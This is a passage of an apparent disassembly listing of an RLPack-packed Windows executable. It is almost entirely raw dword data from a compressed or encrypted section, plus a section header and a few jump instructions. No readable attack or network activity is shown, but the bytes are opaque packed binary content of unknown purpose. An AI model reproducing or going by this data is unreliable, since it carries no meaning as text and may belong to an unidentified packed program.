loc_4E01CA:				; CODE XREF: .packed:004E014Bj
		aam	6
		jmp	near ptr 0EFE4F0A4h
; ---------------------------------------------------------------------------
		db 46h,	0DCh, 0Ah
		dd 342EC03h, 85F669F7h,	2A714h,	8D07F87Dh, 6CD80E8Ch, 8AC161Ch
		dd 9F6C0F7Ah, 7CF040F3h, 0B9E8502Bh, 0C84C614h,	0F41C2C31h
		dd 90F665D1h, 8750E06h,	0D11AE781h, 170C9C30h, 88E6ECEh
		dd 48D84504h, 75115DA6h, 0E6C11B08h, 75C8F311h,	73F10910h
		dd 67A25E1Fh, 0D250D8CEh, 3A89FF85h, 82B00F31h,	2919EBA7h
		dd 0C62B48C2h, 0ED1D8E8Bh, 0A08030CEh, 8D0E89D8h, 1051254h
		dd 0FA816774h, 189D7810h, 0EB02FF73h, 0C980A661h, 1F04087Ah
		dd 0C4754891h, 1FCE2236h, 15147309h, 0EBF0311Bh, 146E4E12h
		dd 42690F89h, 9F7C1967h, 1403F0A8h, 1D929276h, 5588040Eh
		dd 0E1E7F0Bh, 2B200953h, 91059AE9h, 1F0A9932h, 0FD03FD6Dh
		dd 129E098Bh, 60825106h, 0C1D18BA1h, 0CA9CC9EAh, 0DB4C52Dh
		dd 0D4B0AAA6h, 8A948D13h, 0AC6E4824h, 43440A23h, 7DD9979h
		dd 4E99E46Ah, 7E00CDCh,	1B782498h, 7DD91032h, 0EB914806h
		dd 45C70714h, 4B35388h,	0C8C181ECh, 0F3E9D091h,	0DB69C354h
		dd 9B0A8818h, 0BC8D035Ch, 5F49308Ah, 0A2D0E856h, 0D18B22C3h
		dd 83B46839h, 0B279D5ABh, 0E583F8E1h, 44A1350Fh, 0ECCC0942h
		dd 2931A68Ah, 8DC2808Bh, 19738E34h, 0E35BA1D2h,	58B7461Ah
		dd 0E215543h, 2A4773E3h, 0A453BA44h, 0A203752Ch, 898660E0h
		dd 840F1616h, 553F2151h, 337B2414h, 1F4C952h, 8DC19D0Fh
		dd 7BC7094Ch, 2A8E9B7Eh, 0C8A0F8Eh, 1DF28811h, 0E916868Dh
		dd 29625B13h, 4EC22B98h, 38289071h, 1356E0E9h, 14256492h
		dd 60A282F2h, 0CA15C41Dh, 97894A7h, 377AEB32h, 90BA3254h
		dd 48E4E43Dh, 0B124D317h, 0DC97E755h, 626E595Eh, 6B65F76Fh
		dd 0B31A0414h, 0FDE1C149h, 460BB2EFh, 0D0F8A81Dh, 0A095B314h
		dd 0C86EB384h, 855E484h, 22F2E411h, 9FD1425h, 9E30A97h
		dd 6D0031ACh, 0FF33080Bh, 8EB4E98h, 998170E9h, 22F24445h
		dd 5A1131D6h, 43BF9460h, 5C268861h, 2F04712Eh, 5802C433h
		dd 65438C28h, 621EEB14h, 844089E3h, 91E908C9h, 89791041h
		dd 73D2BC5Fh, 0D8FB5D54h, 1F422C4h, 0CEFDE351h,	9114A2E0h
		dd 191186ADh, 0C9B243E6h, 91348906h, 0D1F31CEBh, 0A4DB7CB5h
		dd 0B1142E17h, 0E336020Ah, 0E3FF4832h, 0EA95FA96h, 0C017505Eh
		dd 2BE6D33Eh, 0FBB801FEh, 222C08B1h, 7A856E15h,	7676FB0h
		dd 6DEEF41Ch, 0EBD84605h, 786A7203h, 0B228FD59h, 9C068C58h
		dd 3E06C039h, 79B5BB8Bh, 0A71123AAh, 12DB9324h,	932EA1D0h
		dd 6916919Eh, 0D6151CB5h, 0A22468h, 0A275089Dh,	4073EA83h
		dd 670FA48h, 0D28C0FDAh, 3FCAF0D1h, 0E393F9D1h,	0CB130601h
		dd 0E612C02h, 0F7DD8BEh, 0B07DC72Ch, 8F70A002h,	0EB0A40BCh
		dd 0E9834309h, 13B3F04h, 0DB03E8D1h, 72B8EB39h,	0ADB2906h
		dd 7596028Eh, 888F8DD0h, 0B8854CEAh, 0D8D10E04h, 331A4891h
		dd 9908B447h, 8427E87Dh, 26B914F1h, 0F2158881h,	51B9DA07h
		dd 919EBFFh, 0A1E97260h, 6625D1D5h, 4B0BE102h, 8D6E04E3h
		dd 87013F7Ch, 7D10A99Eh, 896B439Ch, 0E0110326h,	3B0ECF8h
		dd 27190F0h, 0DE3B02F4h, 0D423577h, 2BCE1CC0h, 0CF03CB06h
		dd 3E4A118Ah, 3E8988F4h, 882E4146h, 899E8312h, 5744A0Eh
		dd 7218A33Bh, 73A075E5h, 310FFA39h, 0E977AE82h,	330B87A0h
		dd 9A8640C0h, 44F79611h, 75E6E010h, 46B40850h, 99570400h
		dd 0F759096Ah, 7805EAF9h, 0E068F85Fh, 0A5A9610h, 0C93C0B6h
		dd 7DE0F799h, 0F0E743FBh, 86E4859Ch, 0F44F0AA4h, 0FB2C0029h
		dd 40EE590h, 0FF046A50h, 1E94C357h, 8DFC381Ch, 537D7EFCh
		dd 0C683CAA0h, 1AAE096Ch, 6EE8FAF0h, 9A397EA1h,	0A34B0680h
		dd 0C50021Eh, 0C38B5E5Fh, 48ABDD70h, 585A5082h,	4A840E0h
		dd 18DAE133h, 70011420h, 680E7020h, 0E3100824h,	0E824F2ADh
		dd 95B93584h, 28100292h, 0A4890505h, 70244BAFh,	0A238A063h
		dd 0B080A94h, 0A00F015Eh, 0DD0082Ah, 8420E391h,	1C188383h
		dd 4C087756h, 1C4AE11Dh, 434C108Ah, 701B8960h, 0FDD0E2ADh
		dd 1C18883Dh, 78675250h, 571D8340h, 0F9683813h,	0E8027801h
		dd 618E1D70h, 575309DCh, 0A47156h, 0ED815D0Dh, 8C134C30h
		dd 0C043B58Dh, 0FC468B0Dh, 41DC083h, 0BDBCF02Bh, 3756A4DEh
		dd 801C7609h, 2FBD8D03h, 0AD32C51Fh, 900220ABh,	48137B83h
		dd 26017401h, 0F6854473h, 69B90EDCh, 0A7A38323h, 0FAA8407Bh
		dd 0CFEFA4F3h, 391B5822h, 6F1A2F01h, 61630604h,	851EFFF9h
		dd 46E8511Ch, 190F24Ah,	2C4E8B60h, 2B8D3189h, 23406A4Bh
		dd 7B5124C7h, 2137958Ch, 27853089h, 0F6E8560Dh,	72C4BF92h
		dd 85031DBDh, 949B0FC0h, 4028C164h, 52550C59h, 19E90E5h
		dd 85349AC2h, 897761C9h, 8EC8549h, 4746C451h, 746E1806h
		dd 958B0A7Bh, 8DCD1AAAh, 950DAE8Dh, 228A7544h, 2DEB0C3Ah
		dd 8057C1F7h, 5213747Ch, 97C0E181h, 338D517Fh, 50310785h
		dd 1F3F0E11h, 0A14C8940h, 5211D26h, 71C8ED60h, 3F526741h
		dd 0D054D8D2h, 6A310D96h, 44AB8510h, 48C0331Ch,	0EB083140h
		dd 370C8A8Ah, 2522DE12h, 81430575h, 70404B36h, 0F702030Eh
		dd 83E906C6h, 9A3EC3C1h, 880B4289h, 2D2C225h, 9407F2B3h
		dd 69577CD6h, 90141937h, 990FB548h, 20DA3BA6h, 0C7030C46h
		dd 5F5E5D05h, 1588C35Bh, 0BBFC49C4h, 5B44E838h,	6EB810Dh
		dd 0E0073F15h, 0CB030E30h, 93FF2451h, 0E92A49A9h, 146A2CBAh
		dd 0D339C37Eh, 3B4DFB2Ch, 16740207h, 49BFEE52h,	0E29050C3h
		dd 45C03393h, 0C2835AABh, 0E4EB2C04h, 6AC3007h,	0AFCDC575h
		dd 83041EC9h, 51F4017Ah, 0C144CDD0h, 5D08B866h,	0AD249E10h
		dd 30787BDh, 889E0C2h, 99A6F4EBh, 53BA0C46h, 0E2E82156h
		dd 8E1A165Ch, 81C9493Eh, 0A743C58h, 0FE240B62h,	0EB500430h
		dd 892E9C07h, 0FF85501h, 0A91046B7h, 751DAA62h,	0FBA9E57Dh
		dd 84428732h, 606C7AADh, 40C7FC92h, 36C0125Eh, 0FF87503h
		dd 347DCF3Bh, 0C0460625h, 5501D0B0h, 0E82CFC1Eh, 0A074D3CFh
		dd 0D78AC8FEh, 2A1C6375h, 0DB0C23Ah, 0E839C166h, 10C08408h
		dd 1ED1C486h, 807C0106h, 0FD04C61Ch, 0EB410473h, 90595EC8h
		dd 741446BEh, 2A3B3537h, 0AB8A3055h, 4C16F711h,	78E9C21Fh
		dd 355AF0FDh, 98E5117h,	3400F839h, 6602EC83h, 122E76FEh
		dd 0A708D652h, 8E5918FEh, 3FB0491Ch, 47E6574Dh,	0B1E542B3h
		dd 0DF1F1741h, 5027A6BEh, 0CD0ADEE5h, 642CED43h, 264D7443h
		dd 185E73E0h, 84B287Dh,	0C171F8B2h, 0F302F90Bh,	832D03A5h
		dd 0FF91EDE1h, 1643047Bh, 52A43DFAh, 7C19D1A8h,	12CA42ABh
		dd 7BD35AAAh, 3D32683Bh, 0A604D232h, 0A27505C3h, 0E321A26Ah
		dd 39C8A54h, 402479Ah, 5251F00Eh, 0CA918D56h, 0D6458A46h
		dd 98BB8942h, 0B8EC7DBFh, 486ED426h, 14C82B1Eh,	5EA8B236h
		dd 0C47C2099h, 0B103047Ch, 0D0BB465Dh, 0F40E4862h, 84BC952h
		dd 0A8724BF5h, 0C72F8B19h, 671EBF51h, 0D067EC06h, 7440C8E1h
		dd 77B54BC6h, 29125146h, 7F361506h, 6BBED8Fh, 5ACAEB09h
		dd 0FA901BACh, 307D3B3Eh, 0EBF90E75h, 0CCDAA311h, 0C706409Fh
		dd 0AA0FFF05h, 0C731090h, 2B7DE073h, 0B8499CD4h, 4ECEE35Eh
		dd 0AB0B45DAh, 2DB40840h, 0CF402D92h, 18DF6CBh,	529B2C7Fh
		dd 829276D0h, 515C394Ch, 7406D4B6h, 8032437h, 8343893Eh
		dd 0D40C4E51h, 107ECED0h, 21FF6785h, 5750A07Bh,	0E8275351h
		dd 42DA91Fh, 888D481Bh,	0A98084DFh, 9CC5EB14h, 736DE073h
		dd 0D6E56276h
		dd 0C7C2E465h, 0C45201Ah, 0B1968389h, 4210D0B6h, 46F61CAEh
		dd 0EF938B44h, 0AF384EB1h, 83D25873h, 5922A79Fh, 30E1C085h
		dd 0A1EBCD4Eh, 1012634Eh, 0C9D0EB3Bh, 17DCE65h,	851455B1h
		dd 0F502E9D2h, 8AF6D9D6h, 6EC7F20Dh, 7E3E8AA1h,	4474B8C2h
		dd 0A97F9152h, 9842538h, 6A23E425h, 0E5AEBE0h, 4103F405h
		dd 0CF66D6D3h, 8C405183h, 1F2249B3h, 86685A69h,	0B04D6F6Ch
		dd 9602E4B9h, 8ABB2C54h, 239DACEBh, 84B9569Ch, 6F55FC44h
		dd 2AF35C7Bh, 0F12B3006h, 0E8D2D089h, 3B1C1290h, 660C484Dh
		dd 0F3EB410Ah, 6B61FA36h, 4B6D27FCh, 20111A2Ah,	0B6055E1Ch
		dd 0B9203C40h, 38D1448h, 8318017Ch, 0CFD027C7h,	60B0E9C1h
		dd 5132E173h, 0DB50768Dh, 3A82254Bh, 8A011EFBh,	0F641A807h
		dd 88D12C04h, 1D4459E1h, 0E51EE750h, 6542A58Eh,	0DAC85C8h
		dd 177A9AA5h, 0CAA79022h, 3390250Ch, 5CAFFAA7h,	4A69CF42h
		dd 0B2017BCAh, 0A380B88Dh, 8B78AB2Dh, 89341556h, 32BDA617h
		dd 41C7BB48h, 696C1070h, 74746163h, 206E6F07h, 0DC1E7265h
		dd 9D1253F8h, 751720F7h, 32E6EFFh, 0EF656854h, 0EC633C8Ch
		dd 1BDBFF64h, 35732514h, 97E76CCBh, 0D474676Eh,	0EDBE1E62h
		dd 69FD3661h, 53E364BBh, 478E4C44h, 82CC3584h, 6E612C64h
		dd 33F4206Ch, 242A38AFh, 639D2757h, 2848362Fh, 389B7375h
		dd 4D3B3233h, 7B61F278h, 6F420E67h, 770F4178h, 78638F74h
		dd 14376674h, 6C8E386Bh, 0A453F6Ch, 50746978h, 0C14C4DA4h
		dd 68C0B043h, 786E6148h, 4FC0FD64h, 0B1E2F570h,	74FC4718h
		dd 0C442F54Dh, 71C9B6Ch, 7269567Ch, 34A0FA74h, 638E0F41h
		dd 2A9A6E52h, 9A649376h, 8E488209h, 0F4A3AB95h,	0CC6D0138h
		dd 0EB09D339h, 3C125089h, 30324825h, 9C49697Ah,	19A5098Dh
		dd 0EE010A81h, 8B6000D8h, 8B242474h, 0FC28247Ch, 0DB3380B2h
		dd 0E802B3A4h, 6Dh, 0C933F673h,	64E8h, 331C7300h, 5BE8C0h
		dd 23730000h, 0B04102B3h, 4FE810h, 0C0120000h, 3F75F773h
		dd 0E8D4EBAAh, 4Dh, 1075CB2Bh, 42E8h, 0AC28EB00h, 4D74E8D1h
		dd 1CEBC913h, 0E0C14891h, 2CE8AC08h, 3D000000h,	7D00h
		dd 0FC800A73h, 83067305h, 2777FF8h, 8B954141h, 5601B3C5h
		dd 0F02BF78Bh, 0EB5EA4F3h, 75D2028Eh, 46168A05h, 33C3D212h
		dd 0EEE841C9h, 13FFFFFFh, 0FFE7E8C9h, 0F272FFFFh, 247C2BC3h
		dd 247C8928h, 0CC2611Ch, 0
		dd 0E00D4h, 1660h, 964h, 0E0BCEh, 0E0028h, 0E002Ch, 400000h
		dd 7C801D77h, 7C80ADA0h, 4DFA25B8h, 9E888DF0h, 89100012h
		dd 548B0141h, 528B0424h, 0E902C60Ch, 2B05C283h,	0FC4A89CAh
		dd 0B8C3C033h, 0F04DFA25h, 58F64h, 83000000h, 535504C4h
		dd 52565751h, 1257988Dh, 538B1000h, 0E88B5218h,	68406Ah
		dd 0FF000010h, 6A0473h,	3104B8Bh, 0FF018BCAh, 0F88B5AD0h
		dd 338B5250h, 320438Bh,	89088BC2h, 438B204Bh, 8BC2031Ch
		dd 1C4B8908h, 4B8BF203h, 8DCA030Ch, 57501C43h, 5AD1FF56h
		dd 8430358h, 8B52F88Bh,	0FC468BF0h, 2B04C083h, 85689F0h
		dd 890C4B8Bh, 0D7FF144Eh, 133F8589h, 0F08B1000h, 5A144B8Bh
		dd 0CA030CEBh, 800068h,	57006A00h, 0C68B11FFh, 595F5E5Ah
		dd 0E0FF5D5Bh, 41E133h,	4A6h dup(0)
_packed		ends

; Section 2. (virtual address 000E2000)
; Virtual size			: 00023385 ( 144261.)
; Section size in file		: 00023385 ( 144261.)
; Offset to raw	data for section: 000E2000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 4E2000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0CA01CB8h, 6450034Eh, 38635FFh, 257089EEh, 0F0C03388h
		dd 45500008h, 706D6F43h, 74386361h, 0C1D70032h,	0F1412A7h
		dd 0D3DE003Ch, 0B401FE93h, 0EE00ED41h, 6E833AC3h, 8BCE76h
		dd 0E97E893Bh, 0A3C72C0Bh, 340322F0h, 0EDE18F1Eh, 8B0C9064h
		dd 234F38F8h, 0EF80E0BDh, 2B8CC98Ah, 3301852Eh,	1B5810C5h
		dd 14E809C7h, 48F4003Fh, 692E44BDh, 1F0075A3h, 0E4C3F763h
		dd 0BC4D17h, 0ECAC54D7h, 8CFC7346h, 5F7FB300h, 0F8FE555Bh
		dd 0A5761F2Ch, 82860032h, 2E0C9F6Ch, 6803E91Eh,	29A99BC0h
		dd 7D6440h, 0B08A0F41h,	488E52DCh, 1FDB838h, 0CAF08566h
		dd 0D3EC10AFh, 5BB400F6h, 0E569C15Fh, 197C8296h, 0BA0F6D00h
		dd 0ACA9341Eh, 7A0C0099h, 0C6A05754h, 2A010612h, 0E3114FB7h
		dd 0F3E4670Fh, 94A4A069h, 52560097h, 0DD5A9DBFh, 0F23833EFh
		dd 0F67F80D0h, 0EBD4C77h, 1F94013Ch, 3F206812h,	0FAC0CBBBh
		dd 0AB001072h, 0F40B5D27h, 70BDF7h, 85D2C3AFh, 7CFEEF17h
		dd 20C46A00h, 0DE35D7ABh, 0E62100D6h, 746D218h,	743DF49Fh
		dd 0AA4D006Ah, 8FBB9522h, 5F630060h, 85C2AE17h,	7B008105h
		dd 3A33AC0h, 0E45A9CBh,	0C8C63F09h, 3C12001Ch, 0D0B21440h
		dd 9F00F67Ah, 7A57EA16h, 16C6329h, 0E8933028h, 0E09E7490h
		dd 0FC00D397h, 0E01FC1C2h, 73541Bh, 0CB9C1ABCh,	2ABB760Eh
		dd 0DF996903h, 0DBEF7F49h, 6214A191h, 0D2A7C0h,	0E26A3D4Eh
		dd 8483909h, 52819B00h,	0B5202CC3h, 760A0064h, 33863B8Ah
		dd 0BB072370h, 0A468377Fh, 0C136D010h, 0E2EE99h, 0D615E32h
		dd 0DC633E7Ch, 74A0DA1Ch, 0BB1B00BDh, 7DEE798Eh, 8F7A0075h
		dd 2291F864h, 0F600153Ch, 0A52BC608h, 7CB88914h, 545800A4h
		dd 8BDB4AF1h, 680078B2h, 404BC6FCh, 0F36ED28h, 0C4298637h
		dd 0F16EB00h, 0F50045A8h, 0EFA2483Bh, 0C0FCFDh,	0DFEE615Dh
		dd 4449A428h, 350041FCh, 11D7CA22h, 1B8F9Bh, 219F2004h
		dd 0CE8A9EE9h, 0C750F900h, 78EAC66Bh, 157300F8h, 5E8E9528h
		dd 0B90002B3h, 6435B416h, 0FFCA3Ah, 0AB776B18h,	0C28CA626h
		dd 0ADBBF60Fh, 53E2403Fh, 2F3198h, 447B3997h, 0B884A3E7h
		dd 4B23C101h, 4F9EB1BBh, 3D0121FCh, 0A600F148h,	0D9DF817Ch
		dd 407AE65h, 0DD151131h, 8961C6D7h, 0E8C84F9Fh,	14BCC046h
		dd 0C95DB5DCh, 0DCFD04F6h, 4300B8E4h, 447DB4FBh, 0E87233h
		dd 8FA3F41Bh, 0E0CFD008h, 0D2491E00h, 586EC484h, 0A6C9002Ch
		dd 5260ADF3h, 0F4E1E873h, 627ED80Ch, 834DA100h,	0B55325D2h
		dd 0A9F100F2h, 5EA34C6Bh, 5F39EED3h, 91D0835Ah,	0C03595F6h
		dd 0CD64BBh, 0ECE8492Eh, 3CF7CC7h, 7E75021Ch, 1BA2F5C0h
		dd 0B6005h, 306E1AFCh, 64E7EC61h, 93DEFB00h, 3FEA0A9Ch
		dd 3D32E247h, 2D005204h, 0B6B7E5C5h, 3C0EF7A9h,	0D9A1EAh
		dd 0C955B8D8h, 2D72C6h,	0B4BA85FFh, 6CE5369Eh, 7C3E0300h
		dd 693D3464h, 5FCA0023h, 0A69DED74h, 0DF008020h, 0B816770Ch
		dd 90B1E47Ah, 780A00DEh, 0B423B067h, 0CC7C80BCh, 81FF0900h
		dd 949CA213h, 5F8800E6h, 84EE584Ah, 1E00C4ECh, 31082FBh
		dd 1D5A2029h, 40CD5979h, 322C9323h, 0C200DD5Bh,	578F0405h
		dd 763D34Dh, 0B402619Dh, 8E68027h, 390029D9h, 358F03C0h
		dd 7B1E84B6h, 691C0056h, 155E7F6h, 0E1005B73h, 0BC14818Bh
		dd 397ADh, 79AA928Ah, 542A7522h, 96606726h, 4F58C800h
		dd 0E12513Ch, 0C1B21116h, 42F17640h, 933999FFh,	0AEF78061h
		dd 67847E4Bh, 13BE767Ah, 1E705Bh, 583521BAh, 1800B307h
		dd 0C1087F95h, 6782B6h,	0DC4D6099h, 0A9134617h,	0E107AF00h
		dd 0F444D5C6h, 0BAC00068h, 852ABFB0h, 1003936Dh, 0B948F265h
		dd 0FA29E057h, 0CAC500FCh, 0A2016384h, 0A00B849h, 952F8EDAh
		dd 70335DCh, 0E8E32C59h, 5694D0A7h, 5701C467h, 2979F3F0h
		dd 0A1C024BAh, 0C710044h, 0A59647C3h, 0EF0028A7h, 0A9BC0F5h
		dd 7BFC35h, 1F2C8A79h, 1B83DDA4h, 74CBEE24h, 65CC39h, 0DAEA4856h
		dd 0F4A8CCEh, 0CDF1B505h, 0E13C83A3h, 88E347D0h, 3960201Eh
		dd 0B4ED640h, 8B4CD3h, 46FB3741h, 0A56A0895h, 2AFB300h
		dd 34C12842h, 3F990FDBh, 29008241h, 199BA39Ch, 5400BB79h
		dd 11858C0Eh, 6F9160h, 0A6550F36h, 251C1F2Bh, 6824B201h
		dd 77FDA5AFh, 19FCF4h, 8DC9A122h, 63C7A416h, 857C9600h
		dd 46CA4436h, 19C100D8h, 3E42614Eh, 0FE006315h,	0E2FBEAC2h
		dd 0E9319Dh, 49A9C4E5h,	3A95116Eh, 22DB1500h, 7FE2DD86h
		dd 16540090h, 685079C5h, 0E902B64Ch, 527D374Eh,	0AECE60F6h
		dd 0FB4000Eh, 6ACC3EB9h, 0F7077C63h, 8926A281h,	78845010h
		dd 7C679E3h, 0E8C1DF36h, 0FAC5F0F2h, 0D0F9EB0h,	0E06DB3A4h
		dd 0D477B737h, 40DC00E9h, 1B76146Eh, 5DE846D5h,	3C9EA900h
		dd 2DBF33F4h, 6AD10078h, 8C950485h, 4250AFFEh, 230060D1h
		dd 0C6D33ADBh, 1C4F68A7h, 40B09F6Dh, 973DAE0Ah,	2301EAF6h
		dd 0A7C736BFh, 51EC753Fh, 0A3503EDBh, 8FB6F900h, 0EF5A8103h
		dd 0CDFE5700h, 0ED4DE0C1h, 3D330ECFh, 0C940D034h, 3698A670h
		dd 274CD903h, 8BF682FAh, 0F57480ABh, 0FC5C00ADh, 62493E05h
		dd 2700F914h, 8958B1C4h, 17D1B7h, 5C821652h, 0EEFB39F4h
		dd 38C37700h, 2580C68Ah, 3F2DF622h, 8603C536h, 2E87A328h
		dd 0EF1BDBC8h, 0FA9D3500h, 0B1D472B5h, 98430103h, 0F5E61395h
		dd 6F3BE019h, 0D74DB01Ch, 0A1EEFC00h, 9BCD38h, 656432FEh
		dd 332A10CFh, 0BF005D73h, 0ED8382BCh, 4EA715h, 4CA97F40h
		dd 0E43E3728h, 0F12F9ECh, 0EA0EEE24h, 6A30C047h, 7ACC5Fh
		dd 0B5ADEE6h, 0C1044A22h, 3D666F12h, 0E9763100h, 3BB9B2Ch
		dd 0F1532834h, 64F0E290h, 48735B3Ch, 0D1EC630Fh, 9C42207Fh
		dd 3CF78BA9h, 0A7803309h, 0EE55992Dh, 0F448A410h, 0AD6A0092h
		dd 0C80AA937h, 88190397h, 3EA61408h, 0C242F000h, 0CCDAA0F4h
		dd 0B2860095h, 5A7EA40Ch, 9EA1848h, 1382F002h, 404ECBD0h
		dd 5C0F5880h, 3100FBCFh, 0E9BC5F3Ah, 8F00CC49h,	0BF77437Bh
		dd 0F585D40h, 0D2B2F490h, 98E17A41h, 0FB67D001h, 3538F03h
		dd 0C03B1E60h, 7959FEEh, 4CC16E74h, 0F24A00D0h,	4375D468h
		dd 0CCF7C800h, 0E88C0CE6h, 363302E7h, 0DF8BDC18h, 0BFFB7CE0h
		dd 82961A00h, 0C3F5D0CBh, 4C0900F4h, 0C615751Ch, 743ACAA3h
		dd 70007569h, 1BADB22Dh, 4DF741h, 0E2AA949Eh, 8E95768h
		dd 37CC6726h, 93404900h, 3FD09Bh, 850CCDADh, 0D83DDCA3h
		dd 14EF2400h, 1E74B1B0h, 0CADD03C1h, 3E8FBC01h,	0F46032F0h
		dd 96730F00h, 2059AD40h, 7167000Ah, 0CF6127C8h,	603F33A1h
		dd 4B9480B7h, 0ED9DDD74h, 0F862002Bh, 3507C78Fh, 0C20064DAh
		dd 757FA444h, 7A6FB6ADh, 3697009Ch, 966171D8h, 0DC039D4Ah
		dd 0DB8E69CAh, 0B4B3B02Dh, 0AE5200F9h, 7161832Ah, 12005F0Fh
		dd 58CF84A9h, 46D47Ah, 5D13E50Eh, 5FF52823h, 624C481Eh
		dd 17DDB300h, 4D7DBAh, 0F8612270h, 33B1811Ch, 0A006F600h
		dd 4A6BE31Ah, 2A230035h, 52F0AB8Bh, 0BF015856h,	66532CA6h
		dd 5AF41E31h, 9F03004Dh, 0E950DEB2h, 0A4006083h, 14D53681h
		dd 78DCE2EFh, 5985002Ah, 0B1F5292Dh, 0A3001FF9h, 0C191C037h
		dd 90405F8Ch, 82150113h, 0F8E678C9h, 0AAA1E4F4h, 0D2BEE430h
		dd 6B33Ch, 1E3A51FDh, 40335FC6h, 9EF6900h, 190F8CCDh, 10760080h
		dd 0E4C3BC05h, 3F1E2C1Bh, 0E6C384B0h, 90ED3545h, 37F608h
		dd 5BC5DB57h, 0B67AFFD8h, 0A219A224h, 80D31100h, 1635245h
		dd 9537085Fh, 0DDDFF74Fh, 9693DCE4h, 49472000h,	0BC9189F4h
		dd 1BE0008Dh, 0AE44BA03h, 0F007C12Fh, 41A6C674h, 0DCA49C60h
		dd 9FD300FBh, 6FAD191Bh, 3A1CD25Fh, 0D682DDFEh,	0C0EC570Eh
		dd 3EEDB1C8h, 0B866BA2h, 50362E45h, 1021712h, 0D2A9B200h
		dd 2BBA48h, 24FC8A6Dh, 13A6720Ch, 4FC5530Bh, 4B6580F4h
		dd 5D16DAh, 0AC594875h,	4EA3C006h, 70C5320Fh, 0F0426301h
		dd 2E7B026h, 78D80004h,	0EF07E47Dh, 21EE8EEDh, 82C15B00h
		dd 3057432Dh, 5F8100BFh, 0BB87E420h, 0C901C76Bh, 6039AA0Fh
		dd 0D4DCE186h, 7EDC0083h, 0EE77F6E2h, 8E3FAF20h, 176D0026h
		dd 0D19D2968h, 57F4E3h,	0DAEFA0ABh, 34CE5DCBh, 2A001EF4h
		dd 7A3A6DE8h, 3BE09136h, 0EB005794h, 0D893845Ah, 0F100CB76h
		dd 78553570h, 3B737FFFh, 0C7809CF8h, 0B6249064h, 0F30E10FBh
		dd 7C2CD786h, 0FD5D0900h, 69DC97h, 6C6FC3CCh, 0CB61BEF9h
		dd 66C4AC1Eh, 0C51EA080h, 3A651662h, 0F59D0104h, 7DE50729h
		dd 0D4FAE0A3h, 8D004E7Fh, 0E102B8BCh, 3FD0A99h,	0BBB7426Bh
		dd 3D9A41Eh, 5846DC83h,	18285C07h, 2ED06EE5h, 3B8543Ch
		dd 603D821Bh, 5F16984h,	0DBBDD856h, 0DF15300Fh,	0C2966788h
		dd 149B06F0h, 0FA550047h, 0BA434EF7h, 0A000A9DEh, 7D03651Fh
		dd 1EB23422h, 963A8E45h, 0E62000B9h, 0BADC15Eh,	0FA83D700h
		dd 0BB6B0D63h, 3A86FCBAh, 9C584B1Eh, 6DDFCA0Eh,	4547F040h
		dd 0A53D5AD4h, 8933806Bh, 747A5D4Ah, 111E007Bh,	0ED30D571h
		dd 0A914C882h, 0DEEFE9h, 0C438025Dh, 0F169A22h,	924CCAF5h
		dd 0D9254180h, 7450D256h, 9F754FF0h, 0B4DD1900h, 843F1639h
		dd 0C5101CC3h, 0D08380BAh, 87F047CEh, 3EC6F81Dh, 0B9BF6800h
		dd 7D19E580h, 8BF658h, 2DA232A6h, 14610CE9h, 75F42A98h
		dd 2FA76905h, 0FC02662h, 1EB3FD7Fh, 0C022A2FAh,	0B060C976h
		dd 4F00E2D0h, 7F1FC6E6h, 4C9149h, 985A9BF0h, 15473FFBh
		dd 1E66EE05h, 4FC0EBA9h, 796FA0h, 54C08B06h, 19FBE55h
		dd 0BA3A1800h, 4697C59Dh, 75040BFFh, 6680DD5Bh,	0BBA20C3Eh
		dd 6BFCA700h, 10FFD72Ah, 0E840006Ch, 0F8D4EA0Eh, 25B82395h
		dd 3A74DE00h, 0D8AF24Bh, 448400F0h, 0B5401938h,	60003415h
		dd 0AEFE43ABh, 74C69EB9h, 0C92B011Dh, 0D8678059h, 6437FC2Ah
		dd 0BF653F04h, 0B9834D16h, 6796C0C7h, 0CE6601D1h, 735A18E5h
		dd 42BCC060h, 5801DD2Ch, 2430C601h, 82F47CFDh, 0C75100F1h
		dd 92EE1439h, 0A907B074h, 31F58D3Fh, 1EBC76h, 3CCA049Ah
		dd 0AAF8D898h, 0CCC6ECEDh, 0E44C5907h, 86EAF199h, 0C41F8A01h
		dd 66D8607Fh, 0E9B00051h, 0D60B596Fh, 9F008901h, 18CE12E7h
		dd 1EB49DECh, 80F8C4B3h, 0D729B6E6h, 7F035274h,	0ECA3C95Dh
		dd 0E840CF85h, 88EB3Ch,	0D4CEF50Ch, 515C48F9h, 66C6F300h
		dd 102AA46Fh, 0B94A0067h, 65DD5D8Ch, 2E3BDA19h,	0F30C0089h
		dd 0E9224EC2h, 0F7DB017Eh, 0F1A3BCDCh, 0BB10E843h, 25ADEC1Fh
		dd 79175240h, 39F46580h, 1DFFFDD6h, 0C090678Dh,	9E2DEF60h
		dd 221FDD6Dh, 918028ACh, 0D15FB747h, 0DB9F1DB8h, 4B668145h
		dd 0C1E0FD2Eh, 0E4062011h, 550FE3F2h, 0C0EC9312h, 4A451392h
		dd 0E1100003h, 3AF343C6h, 4B0ED144h, 0A3BD5ED9h, 0B081B553h
		dd 0F07D20Ch, 0BCF6D399h, 7DEDDCA0h, 0EC1D7AF5h, 0C6C425D8h
		dd 6D80CF45h, 0F4F7D62Bh, 7EE61CA4h, 0DC5500A3h, 3AACB2CBh
		dd 1C06FA3Ch, 1B0321B9h, 984ADB11h, 597B03h, 0FCA57598h
		dd 0C0E3B31Fh, 0A84EFF1Fh, 0B0290780h, 8C88C9h,	46E7B7A9h
		dd 378F62BDh, 9D3FB20Fh, 0BECA4080h, 7DD742B1h,	91D800D1h
		dd 6D514757h, 0DE00595Dh, 7743665Ah, 30C558B5h,	0A864982Dh
		dd 0E63C0A84h, 6006803Fh, 2975D3B9h, 7005FE35h,	97800F7Ch
		dd 6FE10B25h, 0F06992DCh, 0A00285Fh, 39CC5333h,	9CEC2Ah
		dd 72964C4Ah, 0D61755ACh, 0B8B48603h, 0D7F918A9h, 0E7CD380h
		dd 87D70002h, 0D9E6A062h, 970E4F20h, 0C0FCEBDFh, 617AD08Eh
		dd 0AAF207F4h, 537C0922h, 0C0A003BAh, 3B002189h, 0B0BF13C2h
		dd 0A9ACFBh, 0E7FD8BD5h, 9F0C5311h, 0D6FA8600h,	5EAF4DF4h
